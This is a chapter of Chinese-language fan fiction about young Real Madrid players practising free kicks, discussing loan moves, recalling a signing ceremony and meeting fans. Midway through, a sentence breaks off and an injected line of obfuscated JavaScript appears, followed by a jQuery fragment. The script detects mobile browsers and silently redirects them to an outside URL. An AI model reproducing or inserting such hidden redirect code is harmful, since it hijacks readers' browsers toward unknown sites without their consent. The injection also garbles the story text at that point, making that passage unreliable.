第五章一碗水
踢任意球会上瘾。
伯尼把足球的气孔转到正对着自己，然后微微斜放在草皮上，向后倒退，助跑，提髋，抡脚，打门——
卢宁猜对了方向，可球直挂向死角，没给他任何扑救的空间。他起身时一边拍着身上的草，一边面无表情地说：“我发现你只喜欢踢右路。”
伯尼忍不住笑了一下。
每一次击球，他都控制着脚踝偏移的弧度，想记住每一次脚内侧的骨头与球接触的感觉，感受到即使是一点点的偏移和轻重的不同，也会让弧线产生许多种变化。
“砰！”
“砰！”
“砰！”
在左侧、中路、右侧各练习了20个任意球后，伯尼的左右脚内侧都已经开始发麻，他知道肌肉正在抗议，可这一次练习记住的肌肉记忆，下一次又可能全都忘掉。
或许这就是足球的魅力所在，那些精妙的传射、如手术刀般的传球、圆月弯刀一般的任意球……都发生在下一个无法掌控的瞬间。
伯尼捡起一个足球，把手放在皮革缝线的微微凸起处，感受到一道道粗粝的丘壑划过掌心，里面似乎有什么在蠢蠢欲动——
他觉得，那是足球的心跳。
伯尼听到恩德里克在背后叫卢宁，求他陪他练习，卢宁的声音依旧木木的，像是没有心的稻草人，“……你踢球太狠了，我怕受伤。”
恩德里克转而呼唤他：“伯尼！我们来比赛谁踢中中球门横梁的次数更多吧？”
恩德里克把球放在地上，身上的白色运动服已经被汗浸透，他助跑大力打门，球像炮弹出膛一样打在横梁上，响亮的“咚”一声反弹入网。
伯尼夸他，好霸气的弧线，像重炮卡洛斯。
恩德里克还在淌着汗，伸脚去拨离他最近的另一个球。他踢了五个任意球，只有最后一个弧线略低了一点，没击中横梁。
卢宁也夸他，很棒。
伯尼站在球门前抬眼望过去，视线中只有绿茵、球门与菱格球网，他的心突然平静下来，脚抢在思绪流动之前射门——
五球五中。
他听到卢宁和恩德里克在背后鼓掌，恩德里克喊道：“Bravo! (太完美了！)”
伯尼正把散落的足球拣回筐里时，恩德里克一直盯着他瞧，手里的矿泉水瓶捏得“呲啦”一下扁下去又鼓起来，问道：“伯尼，你的定位球真的很准，你从小就能踢这么准吗？”
伯尼笑着摇摇头，“还是得练的……可能我小时候也没什么别的爱好，就喜欢踢球。”
“很多人都练不出来的，在巴西喜欢足球的小孩太多了，但像你这样有天赋的没几个，”恩德里克也笑了一下，露出洁白的牙齿，“我感觉……你好像能和足球说话。”
伯尼有点不好意思地挠挠头。
卢宁看一眼恩德里克又看一眼他，仍然没什么表情，低头摆弄自己的手套。
“那你有没有想过……先出去踢一阵？”恩德里克看着伯尼，“租借那种。你经纪人有没有跟你聊过？有没有别的队想把你租过去？”
“卢宁，你呢？你想过没？出去踢一年那种。”
卢宁答道：“没有。”
伯尼挑挑眉，只是问：“你不想在皇马踢了？”
“不是，”恩德里克别开了眼睛，望着不远处的球门，眉毛垂着，一滴汗顺着鼻梁滑下来，“……是米兰达问我，她说……法国里昂很漂亮。”
伯尼愣了一下，原来是因为这个。
他把手里的最后一个球扔进筐里，手肘撑在框子边缘，满脸笑容，语气却非常执着：
“……我倒是从来没想过在皇马之外的俱乐部踢球。除非俱乐部不要我，不然我不会走。我也知道皇马的球员都很强，也知道离开皇马的人很多在别的地方也踢得很好……但我挺喜欢这里的，来了之后，我没想过要走。”
伯尼还有一句话没说出口，他其实想在皇马退役呢。
恩德里克抹了一把额头上的汗，小声咕哝道：“可要是一直替补没比赛踢，水平也很难进步，身体也不适应比赛节奏……在国家队肯定也没法保持最好状态。”
卢宁凉凉道：“能坐替补席已经不错了，还有人连替补都轮不上啊。”
伯尼想到他们的三门凯帕，笑容一下子收敛了。
恩德里克像是没听见似的，继续自言自语道：“……最后可能是浪费了很多时间，还得走人。运气好的像阿什拉夫那样能去巴黎，运气不好的就——”
恩德里克没再说下去，或许是看见伯尼脸上的迷茫表情，眼睛睁大了一瞬，像是突然意识到了什么似的，皱着眉头问他：“呃，伯尼，你觉得……一个成功的球员是什么样的？”
伯尼沉默了几秒，极其诚实地告诉他：“能一直踢出好球，同时真心喜欢足球。”
他看着恩德里克“呲啦”一声捏扁了瓶子，汗正无止无尽地顺着棕黑的脸颊淌下来，像是他那蓬头发里藏着个水龙头似的。
恩德里克也望着他，仿佛第一天认识他似的新奇目光。
他们两个并肩在皇马的替补席上坐了两年，恩德里克却好像从今天才开始了解他。
恩德里克之后说，我明白你的意思了，伯尼，可你不想拿金球奖吗？嗯，不对，我也不是那个意思——
他两只手“哗啦哗啦”把塑料瓶捏得很响。
伯尼听懂了，视线越过看起来惴惴不安的恩德里克望向远方，他眼前一望无际的草皮延伸向另一端。
“从皇马训练中心到伯纳乌球场不过几公里的距离，很多孩子却一生都没有走到过。”
这是伯尼刚来到皇马时门德斯说的话，当时车正从训练中心驶出，门德斯指着车窗外掠过那一片绿茵笑着和他说话，浅灰色西装在车灯下透着丝绸的光泽。
伯尼却笑不出来。
当时伯尼还不认识恩德里克，门德斯把他带来皇马首次亮相，神情温和地向他提出了两个要求——
第一，写一篇回忆童年艰辛的演讲稿。
第二，把头发染成他舅舅法比奥·科恩特朗之前在皇马时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323586|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的金棕色。
门德斯说得很含蓄，但他听懂了，随后神情平静地拒绝了。
他还记得门德斯当时坐在他对面，双手交握着放在桌上，脸上的笑容就那么一点点淡下去，然后开口道：“……那好吧，这是你的决定，我尊重。”他顿了顿，又露出那种职业性的微笑，“欢迎来到皇马。希望你在这里过得不错。”
于是，伯尼在皇马的亮相仪式平淡收尾，因为那天马德里出了一场车祸，他的照片没有印在报纸的头版上，但足球小报报道了他——“法比奥·科恩特朗的侄子加盟皇马，只是没有穆里尼奥的庇护，他还能在这里站稳脚跟吗？”
他并没把小报的消息告诉他舅舅，但他舅舅仍然知道了，特地给他发了条讯息：那些狗仔一直记恨着我……还好有你来帮我分担一下火力[赞]
一个月后，伯尼在皇马的官网上看到了恩德里克加盟皇马的亮相视频，一身球衣，手举着麦克风边发言边流泪，而他妈妈坐在台下，哭得眼妆晕染成一片，蓝紫色混合着化开，像是伯尼外公家墙上那片暗色的霉斑。
伯尼感觉自己像是被什么击中了，心里有个不大不小的窟窿，他立刻跳起来去找他妈，问她：“如果那天你去马德里看了我的亮相仪式，你会哭出来吗？”
他妈妈正俯在缝纫机前“笃笃笃”地工作，听他问完，头也没抬大声说：“当然不会！你实现了你的梦想，我高兴都还来不及！”
缝纫机“笃笃”的响声不绝于耳，伯尼看向一旁柜子上的一个小相框，那旁边摆着一个小圣母像，金发，蓝袍，白衣，面容圣洁而美丽。
……
那天训练结束时伯尼载着恩德里克离开，因为恩德里克还没考出驾照，就这么持续两年了。
黑色SUV刚驶出停车场，迎面就看见街边站着一排举着手机的人，镜头对着他们“咔擦咔擦”地闪烁。
伯尼把车停下来，正想打开车窗，人群一下子涌过来，手机举过头顶对着车内拍着，恩德里克抱怨道：“都是狗仔——你干嘛给他们签名？而且他们未必是在等我们俩。”
伯尼笑了一下，“我们俩的签名还没那么值钱吧，他们不想签的话不会围过来的。”
恩德里克像是思索了一会儿，然后无奈地耸耸肩。
伯尼打开车窗——
“伯尼！伯尼这边！”
“Hey Berni！一个签名，求你了！就这儿！在球衣这儿签一下！”
“伯尼，那个点球太漂亮了！”
“恩德里克！看这边！一张照片！Endrick！Vamos！”
“可以给我儿子签一下吗？就一下！”
直到他们挥手和球迷们道别，恩德里克双手抱头向后躺倒在座位上，嘴角的笑容收都收不住，两排大白牙明晃晃地露在外面。
“感觉不错吧？”伯尼打了圈方向盘，眼睛望着前方，“坚持住，不要走。你来皇马的时候都说了——这是世界上最大的俱乐部，在皇马，你必须赢下一切。至少……先拿个欧冠冠军和西甲冠军再说。”